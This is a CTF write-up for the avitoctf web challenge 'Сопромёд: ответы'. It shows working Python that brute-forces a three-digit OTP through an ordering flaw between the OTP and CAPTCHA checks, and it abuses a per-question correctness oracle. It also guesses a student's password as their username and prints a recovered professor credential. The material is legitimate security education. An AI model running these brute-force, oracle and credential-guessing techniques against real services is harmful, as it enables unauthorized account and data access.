← Back to Writeups
CUSTOMMediumWeb

Сопромёд: ответы

XESXOR9/10/20264 min read
#web#custom#medium#otp_brute_force_oracle#score_oracle#credential_reuse#browser_response_capture

Сопромёд: ответы

Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: otp_brute_force_oracle, score_oracle, credential_reuse, browser_response_capture

Summary

Task: A professor-only exam-answer endpoint requires a three-digit OTP and reCAPTCHA, while student submissions disclose correctness. Solution: Enumerate OTPs through validation-order leakage, recover all answers, then complete CAPTCHA manually.

Сопромёд: ответы — avitoctf

Description

Вы уже в аккаунте профессора Барсукова (задача Сопромёд: метро). Осталось открыть ответы итогового экзамена и сдать его! Но кнопка «Показать ответы» закрыта дополнительным кодом...

The challenge continues the earlier “Сопромёд: метро” stage. We already have Professor Barsukov's credentials and must reveal the protected final-exam answers, submit a perfect exam, and obtain the current challenge secret.

Analysis

Professor access and the protected endpoint

The credentials recovered in the preceding challenge still work:

text
prof_barsukov / b4dger_st34ls_h0ney

Login confirms a teacher account with OTP protection enabled. The minified frontend bundle reveals the relevant endpoint and request shape:

http
GET  /api/teacher/tests/1/answers
POST /api/teacher/tests/1/answers
Content-Type: application/json

{"token":"000","captcha":"..."}

The frontend restricts token to three digits. More importantly, the server checks the OTP before validating reCAPTCHA:

  • a wrong token such as 000 returns invalid_otp;
  • the correct token reaches the next check and returns captcha_required when the CAPTCHA value is absent or invalid.

There is no effective rate limit. This creates a 1,000-value brute-force oracle. The flaw is also summarized by the wording of the recovered flag: the OTP check happens before the CAPTCHA check.

The professor dashboard also contained an older flag_note, represented here as avito{REDACTED}. It belonged to the preceding “метро” stage and was not the flag for this challenge.

Student submission oracle

The CAPTCHA could not be bypassed through ordinary parser tricks, so the exam itself provided another useful route. A newly registered student can call:

http
POST /api/student/tests/1/submit
GET  /api/student/submissions/{submission_id}

The submission detail returns is_correct separately for every answer. Since accounts are freely registered, each account provides a one-shot, five-question score oracle.

Initial controlled submissions confirmed several answers directly. The teacher's submission list then disclosed that student abcdefgh had a full score. A bounded same-username/password reuse check with abcdefgh:abcdefgh succeeded, and that student's owned submission 875 disclosed the complete answer set:

  1. когти
  2. все
  3. ночь
  4. сопромед
  5. медоед

A fresh controlled account submitted these values. Submission 14334 returned five true is_correct fields and a score of 5/5.

Solution

1. Enumerate the OTP

Authenticate as the professor, then distinguish invalid_otp from captcha_required:

python
#!/usr/bin/env python3
import requests

BASE = "https://sopromed-enw644k1.avitoctf.ru"
s = requests.Session()

r = s.post(
    f"{BASE}/api/auth/login",
    json={"username": "prof_barsukov", "password": "b4dger_st34ls_h0ney"},
    timeout=15,
)
r.raise_for_status()

for value in range(1000):
    token = f"{value:03d}"
    r = s.post(
        f"{BASE}/api/teacher/tests/1/answers",
        json={"token": token, "captcha": ""},
        timeout=15,
    )
    data = r.json()
    if data.get("error") != "invalid_otp":
        print("OTP candidate:", token, data)
        break

The unique candidate that reaches CAPTCHA validation is 349.

2. Recover and submit the exam answers

The following core request sequence demonstrates the per-question correctness oracle. Registration must use a fresh username for each one-shot attempt:

python
import requests

BASE = "https://sopromed-enw644k1.avitoctf.ru"
s = requests.Session()

s.post(
    f"{BASE}/api/auth/register",
    json={
        "username": "fresh_unique_student",
        "full_name": "Controlled Student",
        "password": "honeybadger123",
    },
    timeout=15,
).raise_for_status()

answers = {
    "1": "когти",
    "2": "все",
    "3": "ночь",
    "4": "сопромед",
    "5": "медоед",
}

r = s.post(
    f"{BASE}/api/student/tests/1/submit",
    json={"answers": answers},
    timeout=15,
)
r.raise_for_status()
submission_id = r.json()["submission_id"]

r = s.get(f"{BASE}/api/student/submissions/{submission_id}", timeout=15)
r.raise_for_status()
result = r.json()
print(result["submission"]["score"], result["submission"]["total"])
print([(x["position"], x["is_correct"]) for x in result["answers"]])

The canonical controlled run was submission 14334, scoring 5/5.

3. Complete the real CAPTCHA and capture the response

No automated CAPTCHA bypass was used. Launch a headed Playwright browser, authenticate as the professor, navigate to the protected page, and pre-fill OTP 349. A human then completes reCAPTCHA and clicks the reveal button. The response listener records the successful API response without requiring the UI to render it first:

python
#!/usr/bin/env python3
import json
from pathlib import Path
from playwright.sync_api import sync_playwright

BASE = "https://sopromed-enw644k1.avitoctf.ru"

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False, channel="chrome")
    page = browser.new_page()

    def capture(response):
        if (
            response.request.method == "POST"
            and response.url == f"{BASE}/api/teacher/tests/1/answers"
            and response.status == 200
        ):
            Path("captcha-result.json").write_text(
                json.dumps(
                    {"status": response.status, "body": response.json()},
                    ensure_ascii=False,
                    indent=2,
                )
                + "\n"
            )

    page.on("response", capture)
    page.goto(f"{BASE}/login")
    page.locator("#login-username").fill("prof_barsukov")
    page.locator("#login-password").fill("b4dger_st34ls_h0ney")
    page.get_by_role("button", name="Вход").click()
    page.wait_for_url("**/dashboard")

    page.goto(f"{BASE}/teacher/tests/1/answers")
    page.locator("#gate-token").fill("349")
    input("Complete reCAPTCHA, click «Раскрыть ответы», then press Enter here...")
    browser.close()

The captured POST returned HTTP 200. Its JSON body contained the five official answers and the current challenge secret in test.secret. The canonical evidence is captcha-result.json.

Failed Paths

  • JSON parser and type confusion did not bypass CAPTCHA. Missing, null, string, boolean, numeric, array, object, form-encoded, duplicate-key, and text/plain variants either returned captcha_required or failed validation.
  • Alternate methods and routes did not help. Path suffixes returned 404, unsupported methods returned 405, and query projection parameters did not expose answers.
  • Session-state reuse did not persist OTP success or bypass CAPTCHA. Repeated correct-token requests still required a valid CAPTCHA response.

These were negative findings, not part of the successful path. The final CAPTCHA was completed manually in a headed browser.